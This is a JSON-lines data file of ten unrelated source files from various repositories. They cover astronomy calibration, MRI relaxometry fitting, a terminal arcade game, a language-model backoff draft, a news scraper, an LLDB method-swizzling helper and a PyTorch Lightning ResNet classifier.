+{"seq_id":"211141990","text":"#!/usr/bin/env python\n#\n# See top-level LICENSE file for Copyright information\n#\n# -*- coding: utf-8 -*-\n\n\"\"\"\nThis script computes the fiber flat field correction from a DESI continuum lamp frame.\n\"\"\"\n\nfrom desispec.io import read_frame\nfrom desispec.io import write_fiberflat\nfrom desispec.fiberflat import compute_fiberflat\nfrom desispec.log import get_logger\nimport argparse\nimport sys\n\ndef main() :\n\n    parser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n\n    parser.add_argument('--infile', type = str, default = None, required=True,\n                        help = 'path of DESI frame fits file corresponding to a continuum lamp exposure')\n    parser.add_argument('--outfile', type = str, default = None, required=True,\n                        help = 'path of DESI fiberflat fits file')\n\n\n    args = parser.parse_args()\n    log=get_logger()\n    \n    log.info(\"starting\")\n\n    frame = read_frame(args.infile)\n    fiberflat = compute_fiberflat(frame)\n    write_fiberflat(args.outfile, fiberflat, frame.header)\n\n    log.info(\"successfully wrote %s\"%args.outfile)\n\n\nif __name__ == '__main__':\n    main()\n","sub_path":"bin/desi_compute_fiberflat.py","file_name":"desi_compute_fiberflat.py","file_ext":"py","file_size_in_byte":1143,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"285495273","text":"from cmms.models.users import *\nfrom cmms.models.message import *\nclass Mail:\n    @staticmethod\n    def SendNewSysMessage(r,title,priority=None,msgid=None,wo=None):\n        print(r)\n        print(title)\n\n        if(priority==None):\n            priority=5 #lowest val\n        sysuser=SysUser.objects.get(id=1)\n        touser=SysUser.objects.get(userId__username=r)\n        msg=\"\"\"<p>یک سفارش کاری جدید برای {} ایجاد گردید</p>\n\n\n        <p>خلاصه درخواست:<br/>{}</p>\".format(touser.fullName,title)\n        <a class='btn btn-warning btn-rounded' href='/WorkOrder/{0}/details'>\n\t\t\t\t\t\t\t\t\t\t\tمشاهده دستور کار</a>\n\n        \"\"\".format(msgid)\n        sub=\"سفارش کاری    جدید ایجاد شد\"\n        Message.objects.create(subject=sub,messageStatus=2,fromUser=sysuser,toUser=touser,Message=msg,msgPririty=priority,workOrder=wo)\n\n    def SendUpdatedSysMessage(r,title,priority=None,msgid=None,wo=None):\n\n       if(priority==None):\n            priority=5 #lowest val\n       mails=Message.objects.filter(workOrder=wo)\n       for i in mails:\n           i.delete()\n       print(msgid,\"############\")\n       sysuser=SysUser.objects.get(userId__username=\"admin\")\n       touser=SysUser.objects.get(userId__username=r)\n       sub=\"سفارش کاری بروز گردانی شد\"\n       msg=\"\"\"<p>سفارش کاری برای کاربر {0} بروز گردید.</p>\n       <a class='btn btn-warning btn-rounded' href='/WorkOrder/{1}/details'>\n                                           مشاهده دستور کار</a>\n\n       <p>خلاصه درخواست:<br/>{2}</p>\"\"\".format(touser.fullName,msgid,title)\n       Message.objects.create(subject=sub,messageStatus=2,fromUser=sysuser,toUser=touser,Message=msg,msgPririty=priority)\n","sub_path":"cmms/business/mail.py","file_name":"mail.py","file_ext":"py","file_size_in_byte":1779,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"592934602","text":"# Aim\n# ### The objective of this notebook is to estimate the T1, T2 and PD from the experimental data using the variable projection method for the 2D images.\n\nfrom __future__ import division\n\nimport math\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport torch\nfrom torch.autograd import grad\nfrom tqdm import tqdm\n\nfrom simulator import FSE_signal, FSE_signal_TR\n\npics_out1 = np.load(\"pics_out_96ETL_experimental_data.npy\")\nIMAGE_PATH = \"images\"\n\nplt.figure(figsize=(16, 12))\nfor index in range(3):\n    plt.subplot(1, 3, index + 1)\n    plt.imshow(\n        np.abs(pics_out1[:, :, 0 + 32 * index]) > 0.00002, cmap=\"gray\"\n    )  # ,vmax = 800000,vmin=0)\n    plt.title(\"Echo number: \" + str(0 + 32 * index))\nplt.savefig(f\"{IMAGE_PATH}/masks1.png\", bbox_inches=\"tight\")\nprint(index)\nmask = (\n    np.abs(pics_out1[:, :, 0 + 32 * index]) > 0.00002\n) * 1  # mask of brain where the actual images is present\nplt.figure(figsize=(16, 12))\nplt.imshow(mask, cmap=\"gray\")\nplt.savefig(f\"{IMAGE_PATH}/masks2.png\", bbox_inches=\"tight\")\n\nETL = pics_out1.shape[2]\npics_out = np.zeros(pics_out1.shape, dtype=complex)\nsignal_evolution = np.zeros((36196, pics_out1.shape[2]), dtype=complex)\n\nfor index in range(ETL):\n    Im_synthetic = np.zeros([pics_out1.shape[0], pics_out1.shape[1]], dtype=complex)\n    data = pics_out1[:, :, index]\n    Im_synthetic[np.nonzero(mask)] = data[np.nonzero(mask)]\n    pics_out[:, :, index] = Im_synthetic\n    signal_evolution[:, index] = Im_synthetic[np.nonzero(mask)]\nprint(signal_evolution.shape)\n\nplt.figure(figsize=(16, 12))\nfor index in range(8):\n    plt.subplot(2, 4, index + 1)\n    plt.imshow(np.abs(pics_out[:, :, index * 12]), cmap=\"gray\", vmax=0.0001, vmin=0)\n    plt.title(\"Echo number: \" + str(12 * index))\nplt.savefig(f\"{IMAGE_PATH}/progress.png\", bbox_inches=\"tight\")\n\ndevice = torch.device(\"cuda\")\n\n\nclass LeastSquaresRegressorTorch1:\n    def __init__(self, n_iter=10, eta=0.1):\n        self.n_iter = n_iter  # number of iterations\n        self.eta = eta  # the step size\n\n    def fit(self, Y, t1, t2):\n        Yt = torch.tensor(\n            Y, dtype=torch.float, device=torch.device(\"cuda\")\n        )  # convert numpy to torch data files\n        self.t2 = torch.tensor(\n            t2, dtype=torch.float32, requires_grad=True, device=torch.device(\"cuda\")\n        )\n        self.t1 = torch.tensor(\n            t1, dtype=torch.float32, requires_grad=True, device=torch.device(\"cuda\")\n        )\n\n        self.history = []\n        optimizer = torch.optim.SGD([self.t1, self.t2], lr=self.eta)\n        ETL = 32  # echo train length,\n        TE = 9.1  # echo time\n        TRs = np.array([860, 1830, 2800])\n        self.initial_angle = torch.tensor(\n            [180], dtype=torch.float32, requires_grad=True, device=torch.device(\"cuda\")\n        )\n        M0 = 1\n        angles_rad = torch.tensor(\n            torch.ones((1, ETL), device=torch.device(\"cuda\"))\n            * self.initial_angle\n            * math.pi\n            / 180,\n            device=torch.device(\"cuda\"),\n            dtype=torch.float32,\n        )\n        for i in range(self.n_iter):\n            total_loss = 0\n            # print(self.t1,self.t2)\n            X_sim_CSF = FSE_signal_TR(angles_rad, TE, TRs, T1=self.t1, T2=self.t2)\n            loss = (X_sim_CSF / torch.max(X_sim_CSF)).reshape(\n                (self.t1.shape[0], 3 * ETL)\n            ) - Yt\n            loss_batch = torch.sum(loss ** 2)\n            optimizer.zero_grad()  # reset all gradients\n            loss_batch.backward()  # compute the gradients for the loss for this batch\n            optimizer.step()\n            total_loss += loss_batch.item()\n            self.history.append(total_loss)\n\n        # print('SGD-minibatch final loss: {:.4f}'.format(total_loss))\n        return self.t1, self.t2, self.initial_angle\n\n\n# regr = LeastSquaresRegressorTorch1(n_iter=50, eta=1000)\n\n# data_avg_CSF = np.abs(signal_evolution[20000,0:96])\n\n# t1_CSF, t2_CSF, initial_angle_CSF = regr.fit(data_avg_CSF/np.max(data_avg_CSF), t1 = [500], t2=[200])\n# print(t1_CSF,t2_CSF,initial_angle_CSF)\n\n# plt.figure(figsize=(16,12))\n# plt.plot(regr.history, '.-')\n# plt.title('CSF loss curve')\n# plt.savefig(f'{IMAGE_PATH}/CSF_loss.png', bbox_inches='tight')\n\nregr = LeastSquaresRegressorTorch1(n_iter=20, eta=10000)\n\nt1_min = 100\nt1_max = 6000\nt2_min = 10\nt2_max = 1000\nN_t1 = 300\nN_t2 = 550\ninitial_angle = 180.0\nTE = 9.1  # echo time\nTRs = np.array([860.0, 1830.0, 2800.0])\n\nt1_vals = torch.tensor(np.linspace(t1_min, t1_max, N_t1))\nt2_vals = torch.tensor(np.linspace(t2_min, t2_max, N_t2))\n\nprint(\"T1 step:\", t1_vals[1] - t1_vals[0], \"ms\")\nprint(\"T2 step:\", t2_vals[1] - t2_vals[0], \"ms\")\n\n_t1_vals, _t2_vals = np.meshgrid(t1_vals, t2_vals)\n_t1_t2_vals = np.stack((_t1_vals.ravel(), _t2_vals.ravel()), axis=1)\n_idxs = _t1_t2_vals[:, 0] >= _t1_t2_vals[:, 1]\nt1_t2_vals = torch.tensor(_t1_t2_vals[_idxs, :], dtype=torch.float32)\n\n\nangles_rad = torch.ones((1, 32), dtype=torch.float32) * initial_angle * math.pi / 180\nX_sim_CSF = FSE_signal_TR(angles_rad, TE, TRs, T1=t1_t2_vals[:, 0], T2=t1_t2_vals[:, 1])\nX_sim_CSF = X_sim_CSF / torch.norm(X_sim_CSF, dim=1, keepdim=True)\n\ndef dictionary_match(y_sig, Dict, t1t2_list):\n    # get best match\n    # print(y_sig.shape)\n    # z = torch.mm(Dict.squeeze(), y_sig.T)\n    # i = torch.argmax(torch.abs(z), dim=0)\n\n    distances = torch.sum((Dict - y_sig.T[None, ...]) ** 2, dim=1)\n\n    i = torch.argmin(distances, dim=1)\n    return distances[i], t1t2_list[i, :], i  # , sc\n\n\nt1t2_all = np.zeros(signal_evolution.shape[0])\n\n\na, t1t2, c = dictionary_match(\n    torch.tensor(np.abs(signal_evolution), dtype=torch.float32),\n    X_sim_CSF.to(torch.float32),\n    t1_t2_vals,\n)\nT1_vals = np.ones((signal_evolution.shape[0])) * 500.0\nT2_vals = np.ones((signal_evolution.shape[0])) * 500.0\nN = T2_vals.shape[0]\n\n# data_avg_CSF = np.abs(signal_evolution[index, 0:96])\n# t1_CSF, t2_CSF, initial_angle_CSF = regr.fit(\n#     data_avg_CSF / np.max(data_avg_CSF), t1=T1_vals, t2=T2_vals\n# )\n\n\n# Plot T1 and T2 map\nIm_synthetic1 = np.zeros([pics_out1.shape[0], pics_out1.shape[1]])\nIm_synthetic1[np.nonzero(mask)] = T1_vals\n\nplt.figure(figsize=(16, 12))\nplt.imshow(Im_synthetic1, cmap=\"gray\", vmax=8000, vmin=100)\nplt.title(\"T1 map\")\nplt.savefig(f\"{IMAGE_PATH}/T1_map.png\", bbox_inches=\"tight\")\n\nIm_synthetic1 = np.zeros([pics_out1.shape[0], pics_out1.shape[1]])\nIm_synthetic1[np.nonzero(mask)] = T2_vals\n\nplt.figure(figsize=(16, 12))\nplt.imshow(Im_synthetic1, cmap=\"gray\", vmax=1000, vmin=10)\nplt.title(\"T2 map\")\nplt.savefig(f\"{IMAGE_PATH}/T2_map.png\", bbox_inches=\"tight\")\n\nprint(Im_synthetic1[128:150, 128:150])","sub_path":"T1T2/t1_t2.py","file_name":"t1_t2.py","file_ext":"py","file_size_in_byte":6587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"232116873","text":"import os\nimport time\nfrom time import sleep\nfrom screen import Screen\nfrom paddle import Paddle\nfrom ball import Ball\nfrom random import randint\nfrom input import Get, input_to\n\nsize = os.get_terminal_size()\n\nscreen = Screen(size[0], size[1])\nbricks = screen.initializeGamescreen()\n\npaddle = Paddle(int(size[0]/2))\n\nx = paddle.getStartpaddle() \ny = paddle.getStartpaddle() + paddle.getLength() -1\nmid = int((x + y)/2)\nball = Ball(screen.getGameheight()-2,randint(x, y),screen)\n\nx = 0\nstart_time = time.time()\nprev_time = time.time()\np_ball_time = time.time()\n\nprint(\"\\033[2J\")\nwhile True:\n    curr_time = time.time()\n    c_ball_time = time.time()\n\n    if(curr_time - prev_time >= 0.05):\n        print(\"\\033[0;0H\")\n        paddle.setTimetaken(int(curr_time-start_time))\n        screen.printScreen(ball, paddle)\n        prev_time = curr_time\n\n    if(ball.getfree() == 1 and c_ball_time - p_ball_time >= ball.getSpeed()):\n        ball.movement(screen, paddle, bricks)\n        p_ball_time = c_ball_time\n        \n    inp = input_to(Get())\n    if(inp == None):\n        inp = \"\"\n    if (inp == ' ' or inp == ' '):\n        if(ball.getfree() == 0):\n            ball.release(screen,paddle)\n    if (inp == 'a' or inp == 'A' or inp == 'd' or inp == 'D'):\n        if(paddle.getStartpaddle() > 0 and paddle.getStartpaddle() + paddle.getLength() < screen.getGamewidth()):\n            if(ball.getfree() == 0):\n                ball.initializeBall(screen,inp)\n        paddle.movement(screen, inp)\n    if(inp == 'x' or inp == 'X'):\n        exit()\n\n    x += 1\n","sub_path":"Arcade_Game/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1541,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"602389336","text":"## Python Program to Print all Prime Numbers in an Interval\r\n# A positive integer greater than 1 which has no other factors except 1 and the number\r\n# itself is called a prime number. 2, 3, 5, 7 etc. are prime numbers as they do not have\r\n # any other factors. But 6 is not prime (it is composite) since, 2 x 3 = 6. We ask the user\r\n## for a range and display all the primes in that interval.\r\n\r\n\r\n# Python program to ask the user for a range and display all the prime numbers in that\r\n# interval\r\n\r\n# take input from the user\r\nlower = int(input(\"Enter lower range: \"))\r\nupper = int(input(\"Enter upper range: \"))\r\n\r\nlist1 = []\r\nfor num in range(lower,upper + 1):\r\n   # prime numbers are greater than 1\r\n   if num > 1:\r\n       for i in range(2,num):\r\n           if (num % i) == 0:\r\n               break\r\n       else:\r\n           print(num)\r\n           list1.append(num)\r\n\r\nprint (list1)\r\n","sub_path":"Tut-all-py/prime_in_interval3.py","file_name":"prime_in_interval3.py","file_ext":"py","file_size_in_byte":887,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"372914939","text":"#!/usr/bin/env python3\n\nimport csv, math, numpy, os, pickle, sys\n\nfrom copy import deepcopy\n\nnumpy.seterr(all='raise')\n\nclass katz(object):\n\tk = 0\n\t_counts = None\n\n\tdef __init__(self):\n\t\tself._counts = {}\n\n\tdef load(self, filename):\n\t\tfd = gzip.open(filename, \"rb\")\n\t\tfor line in fd:\n\t\t\twords, count = line.split(\",\")\n\t\t\twords_list = words.split(\"_\")\n\t\t\tpredict_word = words_list[-1]\n\t\t\tstore_words = \"_\".join(words_list[0:-1])\n\t\t\tself._counts[store_words] = (predict, int(count))\n\t\tfd.close()\n\n\t# http://www.grsampson.net/AGtf1.html\n\tdef simple_good_turing(self, words):\n\t\t# preprocess, generate a workable table to look up with\n\t\tret = self.traverse(words)\n\t\tif ret[2] is False:\n\t\t\treturn {}\n\n\t\trr_words = sorted(ret[2], key=lambda x: ret[2][x][0])\n\t\trr_vals = [ret[2][x][0] for x in rr_words]\n\n\t\tprint(\"TEST2\", rr_words, rr_vals)\n\n\t\tlast_r = 0\n\t\tcur_nr = 0\n\t\tnr_vals = []\n\t\tr_vals = []\n\t\tfor r_val in rr_vals:\n\t\t\tif last_r == r_val:\n\t\t\t\tcur_nr += 1\n\t\t\telse:\n\t\t\t\tif cur_nr != 0:\n\t\t\t\t\tr_vals.append(last_r)\n\t\t\t\t\tnr_vals.append(cur_nr)\n\t\t\t\tcur_nr = 1\n\n\t\t\tlast_r = r_val\n\n\t\tr_vals.append(last_r)\n\t\tnr_vals.append(cur_nr)\n\n\t\tprint(\"TESTING\", nr_vals, r_vals)\n\n\t\t### generate z values\n\t\t##z_vals = []\n\t\t##for j in range(0, len(nr_vals)):\n\t\t##\tj -= 1\n\t\t##\ti = j - 1\n\t\t##\tif j == len(nr_vals)-2:\n\t\t##\t\tk = 2*j - i\n\t\t##\telse:\n\t\t##\t\tk = i + 1\n\n\t\t##\tz_vals.append((2*nr_vals[j])/(k-i))\n\n\t\t##print(\"ZVAL\", z_vals)\n\n\t\t# p0 calculation\n\t\tif r_vals[0] == 1:\n\t\t\tp0 = nr_vals[0]/ret[0]\n\t\telse:\n\t\t\tp0 = 1/ret[0]\n\n\t\t## log vals\n\t\t#log_r_vals = []\n\t\t##log_z_vals = []\n\t\t#for i in range(0, len(nr_vals)):\n\t\t#\tlog_r_vals.append(math.log(r_vals[i], 10))\n\t\t#\t#log_z_vals.append(math.log(z_vals[i], 10))\n\n\t\t# linear regression\n\t\tA = numpy.vstack([r_vals, numpy.ones(len(r_vals))]).T\n\t\tm,c = numpy.linalg.lstsq(A, nr_vals)[0]\n\n\t\tprint(\"LINE\", m, c)\n\n\t\t## r* calculation\n\t\t#r_star = []\n\t\t#for i in range(0, len(r_vals)):\n\t\t#\tnumer = (r_vals[i]+1) * nr_vals[i+1]\n\t\t#\tdenom = nr_vals[i]\n\t\t#\tx = numer/denom\n\n\t\t#\tnumer = (r_vals[i]+1) * \n\t\t#\tdenom = nr_vals[i]\n\t\t#\ty = numer/denom\n\n\t\t## N' calculation\n\t\t#for word in r_star:\n\t\t#\tnr_vals[i]\n\n\t\t# final sgt calculation\n\t\tsgt = {}\n\t\tfor word in ret[2]:\n\t\t\tword_count = self.count(words + [word])\n\t\t\tidx = r_vals.index(word_count)\n\n\t\t\tsgt[word] = (m*r_vals[idx]+c) * ret[2][word][0]\n\n\t\treturn sgt\n\n\tdef delta(self, words):\n\t\tsgt = self.simple_good_turing(words)\n\t\tdelta_ret = {}\n\n\t\tfor word in sgt:\n\t\t\tdelta_ret[word] = (sgt[word] / self.count(words + [word])) / (\n\t\t\t\tself.count(words + [word]) / self.count(words)\n\t\t\t)\n\n\t\treturn delta_ret\n\n\tdef kneser_ney(self, word):\n\t\tif word in self.counts:\n\t\t\treturn self.counts[word]/self.counts[word]\n\t\telse:\n\t\t\treturn 1\n\n\tdef count(self, words, check_subwords=False):\n\t\tret = self.traverse(words)\n\n\t\tif ret is None:\n\t\t\treturn 0\n\t\telif check_subwords and ret[2] is False:\n\t\t\treturn 0\n\t\telse:\n\t\t\treturn ret[0]\n\n\tdef traverse(self, words, trav_obj=None):\n\t\tsearch_pattern = \"_\".join(words) + \"_\"\n\n\t\tif trav_obj is None:\n\t\t\ttrav_obj = self.paths\n\n\t\tif trav_obj is False:\n\t\t\treturn [0, 0, False]\n\n\t\telif words[0] in trav_obj:\n\t\t\tif len(words) == 1:\n\t\t\t\treturn trav_obj[words[0]]\n\t\t\telse:\n\t\t\t\treturn self.traverse(words[1:], trav_obj[words[0]][2])\n\n\t\telse:\n\t\t\treturn [0, 0, False]\n\n\tdef predict_one(self, words, alpha=1):\n\t\twords_count = self.count(words, True)\n\t\treturn self.simple_good_turing(words)\n\n\t\tdeltas = self.delta(words)\n\t\tprint(\"DELTAS\", deltas)\n\t\treturn {word: deltas[word] * alpha * (\n\t\t\tself.count(words + [word]) / words_count\n\t\t) for word in deltas}\n\n\tdef predict(self, words, empty_words=0, alpha=1):\n\t\tif empty_words > 0:\n\t\t\twords_count = self.count(words, True)\n\t\t\tprint(\"WORDS_COUNT: {} :: {}\".format(words_count, words))\n\n\t\t\tresults = {}\n\n\t\t\tif words_count > self.k:\n\t\t\t\tresults = self.predict_one(words, alpha=alpha)\n\t\t\t\tprint(\"FIRST\", results)\n\t\t\t\treturn results\n\n\t\telif empty_words > 2:\n\t\t\treturn {}\n\n\t\tfor i in range(0, len(words)):\n\t\t\tif words[i] == 0:\n\t\t\t\tcontinue\n\n\t\t\tsub_words = deepcopy(words)\n\t\t\tsub_words[i] = 0\n\t\t\tret = self.predict(sub_words, empty_words+1, alpha*0.75)\n\n\t\t\t# update\n\t\t\tfor result in ret:\n\t\t\t\tif result not in results:\n\t\t\t\t\tresults[result] = ret[result]\n\t\t\t\t\tcontinue\n\n\t\t\t\tif results[result] > ret[result]:\n\t\t\t\t\tresults[result] = ret[result]\n\n\t\tprint(\"FINAL\", results)\n\t\treturn results\n\n\tdef predict_file(self, predict_file):\n\t\tfd = open(predict_file, \"r\")\n\t\tcfd = csv.reader(fd)\n\n\t\tret = []\n\t\tfor words in cfd:\n\t\t\twords = [int(word) for word in words]\n\n\t\t\thighest_predict = 0\n\t\t\tfor i in range(0, len(words)):\n\t\t\t\tpredictions = self.predict(words)\n\t\t\t\tif predictions is None or len(predictions) == 0:\n\t\t\t\t\tcontinue\n\n\t\t\t\telse:\n\t\t\t\t\thigh_predict = max(\n\t\t\t\t\t\tpredictions, key=lambda x: predictions[x]\n\t\t\t\t\t)\n\t\t\t\t\thigh_value = predictions[high_predict]\n\t\t\t\t\tprint(\"HIGH PREDICT: {}:: {}\".format(\n\t\t\t\t\t\thigh_predict,\n\t\t\t\t\t\thigh_value\n\t\t\t\t\t))\n\n\t\t\t\tif high_value > highest_value:\n\t\t\t\t\thighest_predict = high_predict\n\t\t\t\t\thighest_value = high_value\n\n\t\t\tif predictions is None or len(predictions) == 0:\n\t\t\t\tret.append(False)\n\t\t\telse:\n\t\t\t\tret.append(highest_predict)\n\n\t\tfd.close()\n\t\treturn ret\n\n\nif __name__ == \"__main__\":\n\tif len(sys.argv) < 3:\n\t\tprint(\"Not enough arguments.\")\n\t\tsys.exit(1)\n\n\tif not os.path.exists(sys.argv[1]):\n\t\tprint(\"Model not found\")\n\t\tsys.exit(2)\n\n\tif not os.path.exists(sys.argv[2]):\n\t\tprint(\"Predictive data not found.\")\n\t\tsys.exit(3)\n\n\tmodel = backoff()\n\tmodel.load(sys.argv[1])\n\tprint(model.predict_file(sys.argv[2]))\n","sub_path":"preparation/backoff.py","file_name":"backoff.py","file_ext":"py","file_size_in_byte":5446,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"462438577","text":"#-*- coding:utf-8 -*-\n#集萃塑料网\nfrom getnews2 import get_net_news\n\ndef get_type_url(main_url,typeid):\n    type_dictionary={129:'guoj',\n                     130:'guon',\n                     131:'renw',\n                     132:'qiy',\n                     133:'hangy',\n                     134:'shic'}\n    type=type_dictionary[typeid]\n    url=main_url+'news/'+type+'.asp'\n    return url\n\ndef test_ccedip():\n    main_url='http://www.ccedip.com/'\n    re_title=r'<div class=\"zx_list\">(.*?)</div>'\n    re_content=r'<div id=\"content_body\">(.*?)</div>'\n    re_hand=[]\n    re_hand.append('<P><FONT color=#c7c7c7.*?</FONT></P>')\n    re_hand.append('<BR><FONT color=#c7c7c7.*?</FONT></P>')\n    typeid=[129,130,131,132,133,134]\n    for typeid in typeid:\n        url=get_type_url(main_url,typeid)\n        get_net_news(main_url,url,typeid,re_title,re_content,re_hand)\n    \ntest_ccedip()","sub_path":"zzpython/数据更新/get_news----/jicui.py","file_name":"jicui.py","file_ext":"py","file_size_in_byte":879,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"91542917","text":"# MIT License\n\n# Copyright (c) 2017 Bruno Rocha\n\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n\n# The above copyright notice and this permission notice shall be included in all\n# copies or substantial portions of the Software.\n\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n\nimport lldb\nimport os\nimport shlex\nimport optparse\nimport sbt\nimport string\nimport random\n\ndef __lldb_init_module(debugger, internal_dict):\n    debugger.HandleCommand(\n    'command script add -f swizzle.swizzle swizzle')\n\n\ndef swizzle(debugger, command, result, internal_dict):\n    command_args = shlex.split(command)\n    parser = generate_option_parser()\n    try:\n        (options, args) = parser.parse_args(command_args)\n    except:\n        result.SetError(parser.usage)\n        return\n\n    res = lldb.SBCommandReturnObject()\n    interpreter = debugger.GetCommandInterpreter()\n\n    expr_options = lldb.SBExpressionOptions()\n    expr_options.SetIgnoreBreakpoints(True);\n    expr_options.SetFetchDynamicValue(lldb.eNoDynamicValues);\n    expr_options.SetTimeoutInMicroSeconds (30*1000*1000) # 30 second timeout\n    expr_options.SetTryAllThreads (True)\n    expr_options.SetUnwindOnError(True)\n    expr_options.SetGenerateDebugInfo(True)\n    expr_options.SetLanguage (lldb.eLanguageTypeObjC_plus_plus)\n    expr_options.SetCoerceResultToId(True)\n    frame = debugger.GetSelectedTarget().GetProcess().GetSelectedThread().GetSelectedFrame()\n    command_script = generate_script(options)\n    frame.EvaluateExpression (command_script, expr_options)\n\ndef generate_script(options):\n    pointer_name = random_arg_name()\n    swizzled_name = random_arg_name()\n    command_script = \"\"\n    emptyArgs = \")\"\n    if options.count > 0:\n        emptyArgs = get_swizzle_args(options.count) + \")\"\n    command_script += r'''\n                    BOOL (*'''+ pointer_name +''')(id self, SEL _cmd'''+ emptyArgs +''';\n                    BOOL (^'''+ swizzled_name +''')(id, SEL'''+ (\"id\" * options.count) +''') = ^(id self, SEL _cmd'''+ emptyArgs +''' {\n                        '''+ options.method +'''\n                    };\n                    MSHookMessageEx(\n                    ['''+ options.cls +''' class], @selector('''+ options.selector +'''),\n                    &'''+ swizzled_name +''', &'''+ pointer_name +'''\n                    );\n                    '''\n    return command_script\n\ndef random_arg_name():\n    return '$' + ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(14))\n\ndef get_swizzle_args(count):\n    arg = \"\"\n    for i in range(0,count):\n        arg += \", id arg%d\" % (i+1)\n    return arg\n\ndef generate_option_parser():\n    usage = \"\"\n    parser = optparse.OptionParser(usage=usage, prog=\"swizzle\")\n    parser.add_option(\"-c\", \"--class\",\n                          action=\"store\",\n                          default=\"\",\n                          dest=\"cls\",\n                          help=\"Class to swizzle.\")\n    parser.add_option(\"-s\", \"--selector\",\n                          action=\"store\",\n                          default=\"\",\n                          dest=\"selector\",\n                          help=\"Selector to swizzle.\")\n    parser.add_option(\"-m\", \"--method\",\n                          action=\"store\",\n                          default=\"\",\n                          dest=\"method\",\n                          help=\"New method.\")\n    parser.add_option(\"-a\", \"--arg-count\",\n                      action=\"store\",\n                      default=0,\n                      type=\"int\",\n                      dest=\"count\",\n                      help=\"Number of arguments of original method. (available on the swizzled method as arg1, arg2, etc\")\n    return parser\n","sub_path":"swizzle.py","file_name":"swizzle.py","file_ext":"py","file_size_in_byte":4498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"468185547","text":"from pytorch_lightning.core.lightning import LightningModule\nimport lightly\nimport torch\nfrom torchvision.models import resnet18\nimport torch.nn as nn\nimport torch.optim as optim\nimport torchmetrics\n\n\nn_classes = 10\n\nclass plr18(LightningModule):\n    def __init__(self):\n        super(plr18, self).__init__()\n        # self.model = resnet18(pretrained=False)\n        self.model = lightly.models.ResNetGenerator('resnet-18', 1, num_splits=0)\n        self.model.fc = nn.Linear(512, n_classes)\n        self.criteria = nn.CrossEntropyLoss()\n\n    def forward(self, x):\n        return self.model(x)\n    \n    def training_step(self, batch, batch_idx):\n        x, y, _ = batch\n        logits = self(x)\n        \n        loss = self.criteria(logits, y)\n        acc = torchmetrics.functional.accuracy(logits.softmax(dim=-1), y)\n        \n        self.log('train_loss', loss)\n        self.log('train_acc', acc)\n        loss = loss.unsqueeze(dim=-1)\n        return {\"loss\": loss, \"acc\": acc}\n    \n    def validation_step(self, batch, batch_idx):\n        x, y, _ = batch\n        logits = self(x)\n        \n        val_loss = self.criteria(logits, y)\n        val_acc = torchmetrics.functional.accuracy(logits.softmax(dim=-1), y)\n        \n        self.log('val_loss', val_loss)\n        self.log('val_acc', val_acc)\n        val_loss = val_loss.unsqueeze(dim=-1)\n        return {\"val_loss\": val_loss, \"val_acc\": val_acc}\n\n    def validation_epoch_end(self, outputs):\n        avg_loss = torch.stack([x['val_loss'] for x in outputs]).mean()\n        avg_acc = torch.stack([x['val_acc'] for x in outputs]).mean()\n        self.log('avg_val_loss', avg_loss) \n        self.log('avg_val_acc', avg_acc)\n        return {'avg_val_loss': avg_loss, 'avg_val_acc': avg_acc}\n    \n    def configure_optimizers(self):\n        return optim.Adam(self.parameters(), lr=1e-3)\n    \n#     def train_dataloader(self):\n#         return self.train_loader\n\n#     def val_dataloader(self):\n#         return self.val_loader","sub_path":"plr18_RESNETCOPY.py","file_name":"plr18_RESNETCOPY.py","file_ext":"py","file_size_in_byte":1974,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"96589752","text":"\n\nfrom xai.brain.wordbase.nouns._auricle import _AURICLE\n\n#calss header\nclass _AURICLES(_AURICLE, ):\n\tdef __init__(self,): \n\t\t_AURICLE.__init__(self)\n\t\tself.name = \"AURICLES\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"auricle\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_auricles.py","file_name":"_auricles.py","file_ext":"py","file_size_in_byte":245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
